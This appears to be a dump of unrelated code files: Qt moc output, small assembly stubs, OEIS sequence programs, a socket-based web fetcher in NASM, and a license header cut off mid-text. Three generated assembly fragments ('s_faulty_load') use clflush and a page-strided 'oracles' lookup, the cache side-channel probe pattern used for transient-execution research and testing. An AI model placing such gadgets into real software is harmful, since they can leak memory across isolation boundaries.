const QMetaObject *ui::EnterpriseAccountListItem::metaObject() const
{
return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject;
}
void *ui::EnterpriseAccountListItem::qt_metacast(const char *_clname)
{
if (!_clname) return nullptr;
if (!strcmp(_clname, qt_meta_stringdata_ui__EnterpriseAccountListItem.stringdata0))
return static_cast<void*>(this);
return TWidget::qt_metacast(_clname);
}
int ui::EnterpriseAccountListItem::qt_metacall(QMetaObject::Call _c, int _id, void **_a)
{
_id = TWidget::qt_metacall(_c, _id, _a);
if (_id < 0)
return _id;
if (_c == QMetaObject::InvokeMetaMethod) {
if (_id < 1)
qt_static_metacall(this, _c, _id, _a);
_id -= 1;
} else if (_c == QMetaObject::RegisterMethodArgumentMetaType) {
if (_id < 1)
*reinterpret_cast<int*>(_a[0]) = -1;
_id -= 1;
}
return _id;
}
// SIGNAL 0
void ui::EnterpriseAccountListItem::showGroupInforPage(int64 _t1)
{
void *_a[] = { nullptr, const_cast<void*>(reinterpret_cast<const void*>(std::addressof(_t1))) };
QMetaObject::activate(this, &staticMetaObject, 0, _a);
}
QT_WARNING_POP
QT_END_MOC_NAMESPACE
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r9
push %rax
push %rbx
lea addresses_WT_ht+0xd131, %r14
inc %r15
mov $0x6162636465666768, %rbx
movq %rbx, (%r14)
nop
add $24658, %rax
lea addresses_A_ht+0x14cc1, %r12
nop
sub $63387, %r9
mov (%r12), %rax
nop
nop
nop
nop
sub %rbx, %rbx
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %rax
push %rbp
push %rcx
push %rsi
// Faulty Load
lea addresses_WC+0x14cc1, %rcx
clflush (%rcx)
nop
nop
nop
and %r8, %r8
mov (%rcx), %r15d
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
.686p
.mmx
.model flat,stdcall
option casemap:none
include g:\masm32\include\windows.inc
include g:\masm32\include\user32.inc
include g:\masm32\include\kernel32.inc
include g:\masm32\include\advapi32.inc
includelib g:\masm32\lib\user32.lib
includelib g:\masm32\lib\kernel32.lib
includelib g:\masm32\lib\oleaut32.lib
includelib g:\masm32\lib\comctl32.lib
includelib g:\masm32\lib\advapi32.lib
OPTION PROLOGUE:NONE
OPTION EPILOGUE:NONE
.code
DllEntry proc hInstance:DWORD, reason:DWORD, reserved1:DWORD
xor eax, eax
inc eax
ret 12
DllEntry endp
end DllEntry |
;
; Copyright 2018-2021 Mahdi Khanalizadeh
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;
BITS 64
GLOBAL linux_rt_sigreturn
linux_rt_sigreturn:
mov rax, 15
syscall
|
/*
* TemplateWidget.cpp
*
* Created on: November 23, 2017
* Author: Marco Tranzatto (marco-tranzatto)
*/
#include "rqt_template_plugin/TemplateWidget.hpp"
#include "ui_template_widget.h"
namespace rqt_template_plugin {
/*****************************************************************************/
/* Constructors and Destructor */
/*****************************************************************************/
TemplateWidget::TemplateWidget(QWidget *parent) :
QWidget(parent),
ui_(new Ui::TemplateWidget()) {
ui_->setupUi(this);
}
TemplateWidget::~TemplateWidget() {
//confirmClose();
delete ui_;
}
} /* namespace */ |
; A207656: Number of n X 3 0..1 arrays avoiding 0 0 0 and 1 1 1 horizontally and 0 0 1 and 1 0 0 vertically.
; Submitted by Jamie Morken(w3)
; 6,36,84,198,474,1140,2748,6630,16002,38628,93252,225126,543498,1312116,3167724,7647558,18462834,44573220,107609268,259791750,627192762,1514177268,3655547292,8825271846,21306090978,51437453796,124180998564,299799450918,723779900394,1747359251700,4218498403788,10184356059270,24587210522322,59358777103908,143304764730132,345968306564166,835241377858458,2016451062281076,4868143502420604,11752738067122278,28373619636665154,68499977340452580,165373574317570308,399247125975593190,963867826268756682
mov $2,1
lpb $0
sub $0,1
max $4,2
add $5,$2
add $5,$4
mov $3,$5
mov $5,$4
add $4,$3
lpe
mov $0,$4
mul $0,6
add $0,6
|
#ifndef UNIFORM_LOCATION_HPP
#define UNIFORM_LOCATION_HPP
#include <GL/glew.h>
namespace GL {
class Program;
}
namespace GL {
template<typename T>
class UniformLocation
{
private:
const Program& program;
GLuint location;
public:
UniformLocation(const Program& _program, GLuint _location) :
program(_program),
location(_location)
{
}
};
}
#endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x8766, %rsi
lea addresses_WT_ht+0x1ebe, %rdi
nop
nop
nop
nop
nop
inc %r13
mov $102, %rcx
rep movsq
nop
add $136, %r11
pop %rsi
pop %rdi
pop %rcx
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rbp
push %rsi
// Faulty Load
mov $0x566, %rsi
and %r8, %r8
vmovaps (%rsi), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %rbp
lea oracles, %r10
and $0xff, %rbp
shlq $12, %rbp
mov (%r10,%rbp,1), %rbp
pop %rsi
pop %rbp
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_P', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_P', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}}
{'08': 3, 'ff': 1, '00': 6366}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
#include "QJsonIO.hpp"
#include "QJsonStruct.hpp"
#include "TestIO.hpp"
#include "TestOut.hpp"
#include <QCoreApplication>
#include <QJsonDocument>
#include <iostream>
int main(int argc, char *argv[])
{
Q_UNUSED(argc)
Q_UNUSED(argv)
{
ToJsonOnlyData data;
data.x = "1string";
data.y = 2;
data.ints << 0;
data.ints << 100;
data.ints << 900;
data.sub.subString = "subs";
data.subs["subs-1"] = { "subs1-data" };
data.subs["subs-2"] = { "subs2-data" };
data.subs["subs-3"] = { "subs3-data" };
data.z = 3;
auto x = data.toJson();
std::cout << QJsonDocument(x).toJson().toStdString() << std::endl;
}
//
{
auto f = JsonIOTest::fromJson( //
QJsonObject{
{ "inner", QJsonObject{ { "str", "innerString" }, //
{ "jobj", QJsonObject{ { "key", "value" } } }, //
{ "jarray", QJsonArray{ "array0", "array1", "array2" } }, //
{ "baseStr", "baseInnerString" } } }, //
{ "str", "data1" }, //
{ "map", QJsonObject{ { "mapStr", "mapData" } } }, //
{ "listOfString", QJsonArray{ "1", "2", "3", "4", "5" } }, //
{ "listOfNumber", QJsonArray{ 1, 2, 3, 4, 5 } }, //
{ "listOfBool", QJsonArray{ true, false, false, true, true } }, //
{ "listOfListOfString", QJsonArray{ QJsonArray{ "1" }, //
QJsonArray{ "1", "2" }, //
QJsonArray{ "1", "2", "3" }, //
QJsonArray{ "1", "2", "3", "4" }, //
QJsonArray{ "1", "2", "3", "4", "5" } } }, //
});
auto x = f.toJson();
std::cout << QJsonDocument(x).toJson().toStdString() << std::endl;
}
{
QJsonObject obj{
{ "inner", QJsonObject{ { "str", "innerString" }, { "baseStr", "baseInnerString" } } }, //
{ "str", "data1" }, //
{ "map", QJsonObject{ { "mapStr", "mapData" } } }, //
{ "listOfString", QJsonArray{ "1", "2", "3", "4", "5" } }, //
{ "listOfNumber", QJsonArray{ 1, 2, 3, 4, 5 } }, //
{ "listOfBool", QJsonArray{ true, false, false, true, true } }, //
{ "listOfListOfString", QJsonArray{ QJsonArray{ "1" }, //
QJsonArray{ "1", "2" }, //
QJsonArray{ "1", "2", "3" }, //
QJsonArray{ "1", "2", "3", "4" }, //
QJsonArray{ "1", "2", "3", "4", "5" } } }, //
};
auto y = QJsonIO::GetValue(obj, std::tuple{ "listOfListOfString", 2 });
y.toObject();
}
return 0;
}
|
lda {m1}+1
sta {m1}+3
lda {m1}
sta {m1}+2
lda #0
sta {m1}
sta {m1}+1
|
; A055264: Possible values of A055263; numbers equal to 0, 1, 3 or 6 modulo 9.
; 0,1,3,6,9,10,12,15,18,19,21,24,27,28,30,33,36,37,39,42,45,46,48,51,54,55,57,60,63,64,66,69,72,73,75,78,81,82,84,87,90,91,93,96,99,100,102,105,108,109,111,114,117,118,120,123,126,127,129,132,135,136,138,141
mov $2,$0
lpb $2
add $1,3
sub $1,$0
trn $1,$0
trn $0,4
sub $2,1
lpe
|
; Pull down a website and display it to the terminal
; API calls found in this example program:
; socketcall(socket,connect), write, read, close, exit
; High level description of what theis example program does:
; Create a socket with the socket part of socketcall API
; Connect to the socket with connect part of socketcall API
; GET the page with the write API
; Read the webpage with the read API
; Write it to the screen with the write API
; Close the socket with the close() API
; Exit with the exit API
section .text
global _start
_start:
; Create a socket
;------------------------------------------------------------------------------
mov eax, 102 ; socketcall()
mov ebx, 1 ; socket
mov ecx, domain ; data structure for arguments to socketcall
int 0x80
mov [sockhandle], eax ; save filehandle
; Connect to the socket
;------------------------------------------------------------------------------
mov eax, 102 ; socketcall()
mov ebx, 3 ; connect
mov ecx, sockhandle ; data structure for arguments to socketcall
int 0x80
; GET the page
;------------------------------------------------------------------------------
mov eax, 4 ; write
mov ebx, [sockhandle] ; handle for newly opened socket
mov ecx, getrequest ; location of contents to write (the GET request)
mov edx, 56 ; how many bytes to write
int 0x80
; Read bytes from the webpage
;------------------------------------------------------------------------------
mov eax, 3 ; read
mov ebx, [sockhandle] ; contents returned by website
mov ecx, sitebuffer ; where in memory to put contents of file
mov edx, 10000 ; how many characters to read
int 0x80
; Close the socket with the close() api call.
;------------------------------------------------------------------------------
mov eax, 6 ; close
mov ebx, [sockhandle] ; get socket return value
int 0x80
; Write part of the page to stdout
;------------------------------------------------------------------------------
mov eax, 4 ; write
mov ebx, 1 ; STDOUT
mov ecx, sitebuffer ; location of contents to write
mov edx, 10000 ; how many bytes to write
int 0x80
; Exit
;------------------------------------------------------------------------------
mov eax, 1 ; exit
mov ebx, 0 ; null argument to exit
int 0x80
section .data
;socket data
domain dd 2 ;PF_INET
type dd 1 ;SOCK_STREAM
prot dd 6 ;IPPROTO_TCP
;connect data
sockhandle dd 0 ; This value will change to fd for socket
sockaddr dd sock_family
adrlen dd 16
sock_family dw 2 ; AF_INET
port dw 20480 ; Port 80 (little endian bullshit)
domain_address dd 3710223208 ; 104.131.37.221 (xlogicx.net), more little endian bullshit
;domain_address db 'http://xlogicx.net/'
;104
;131 - 33,536
;37 - 2,424,832
;221 - 3,707,764,736
;3710223208
getrequest db 'GET / HTTP/1.1', 0x0a, 'Host: xlogicx.net', 0x0a, 'User-Agent: Deez Nuts', 0x0a, 0x0a
section .bss
sitebuffer resb 10000
; socketcall call types
;------------------------------------------------------------------------------
; 0 - socket_subcall
; 1 - socket
; 2 - bind
; 3 - connect
; 4 - listen
; 5 - accept
; 6 - getsockname
; 7 - getpeername
; 8 - socketpair
; 9 - send
; 10 - recv
; 11 - sendto
; 12 - recvfrom
; 13 - shutdown
; 14 - setsockopt
; 15 - getsockopt
; 16 - sendmsg
; 17 - rcvmsg
; 18 - accept4
; 19 - recvmmsg
; socket domain codes
;------------------------------------------------------------------------------
; 0 - PF_UNSPEC
; 1 - PF_LOCAL
; 2 - PF_INET
; 3 - PF_AX25
; 4 - PF_IPX
; 5 - PF_APPLETALK
; 6 - PF_NETROM
; 7 - PF_BRIDGE
; 8 - ATMPVC
; 9 - PF_X25
; 10 - PF_INET6
; 11 - PF_ROSE
; 12 - PF_DECnet
; 13 - PF_NETBEUI
; 14 - PF_SECURITY
; 15 - PF_KEY
; ...
; PF_INET socket type codes
;------------------------------------------------------------------------------
; 0 - 0
; 1 - SOCK_STREAM
; 2 - SOCK_DGRAM
; 3 - SOCK_RAW
; 4 - SOCK_RDM
; 5 - SOCK_SEQPACKET
; 6 - SOCK_DCCP
; PF_INET socket protocol codes
;------------------------------------------------------------------------------
; 0 - IPPROTO_IP
; 1 - IPPROTO_ICMP
; 2 - IPPROTO_IGMP
; 4 - IPPROTO_IPIP
; 6 - IPPROTO_TCP
; 8 - IPPROTO_EGP
; 12 - IPPROTO_PUP
; 17 - IPPROTO_UDP
; ...
; bind socket families (similar to socket domain codes)
;------------------------------------------------------------------------------
; 0 - AF_UNSPEC
; 1 - AF_LOCAL
; 2 - AF_INET
; 3 - AF_AX25
|
; A189317: Expansion of 5*(1-6*x+x^2)/(1-10*x+5*x^2)
; Submitted by Jamie Morken(s1)
; 5,20,180,1700,16100,152500,1444500,13682500,129602500,1227612500,11628112500,110143062500,1043290062500,9882185312500,93605402812500,886643101562500,8398404001562500,79550824507812500,753516225070312500,7137408128164062500
seq $0,165225 ; a(0)=1, a(1)=5, a(n) = 10*a(n-1) - 5*a(n-2) for n > 1.
mul $0,8
div $0,5
sub $0,3
div $0,2
add $0,2
mul $0,5
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xa3af, %rsi
lea addresses_WT_ht+0x14467, %rdi
dec %r14
mov $43, %rcx
rep movsq
cmp $13836, %rbx
lea addresses_D_ht+0x132e7, %r12
nop
nop
nop
add %rsi, %rsi
mov (%r12), %edi
nop
nop
nop
nop
xor $29124, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %rbp
push %rbx
push %rcx
push %rsi
// Store
lea addresses_A+0xf6e7, %r12
sub %r14, %r14
movb $0x51, (%r12)
cmp %r10, %r10
// Store
lea addresses_normal+0x1d6e7, %rsi
nop
nop
nop
xor %rbp, %rbp
movb $0x51, (%rsi)
dec %r12
// Store
lea addresses_RW+0x29e7, %r12
nop
nop
nop
xor $43262, %rbx
mov $0x5152535455565758, %r10
movq %r10, %xmm4
vmovups %ymm4, (%r12)
nop
nop
inc %r12
// Faulty Load
lea addresses_A+0x1cee7, %r12
clflush (%r12)
nop
nop
inc %rbp
vmovups (%r12), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r14
lea oracles, %r12
and $0xff, %r14
shlq $12, %r14
mov (%r12,%r14,1), %r14
pop %rsi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}, 'dst': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'00': 7399}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
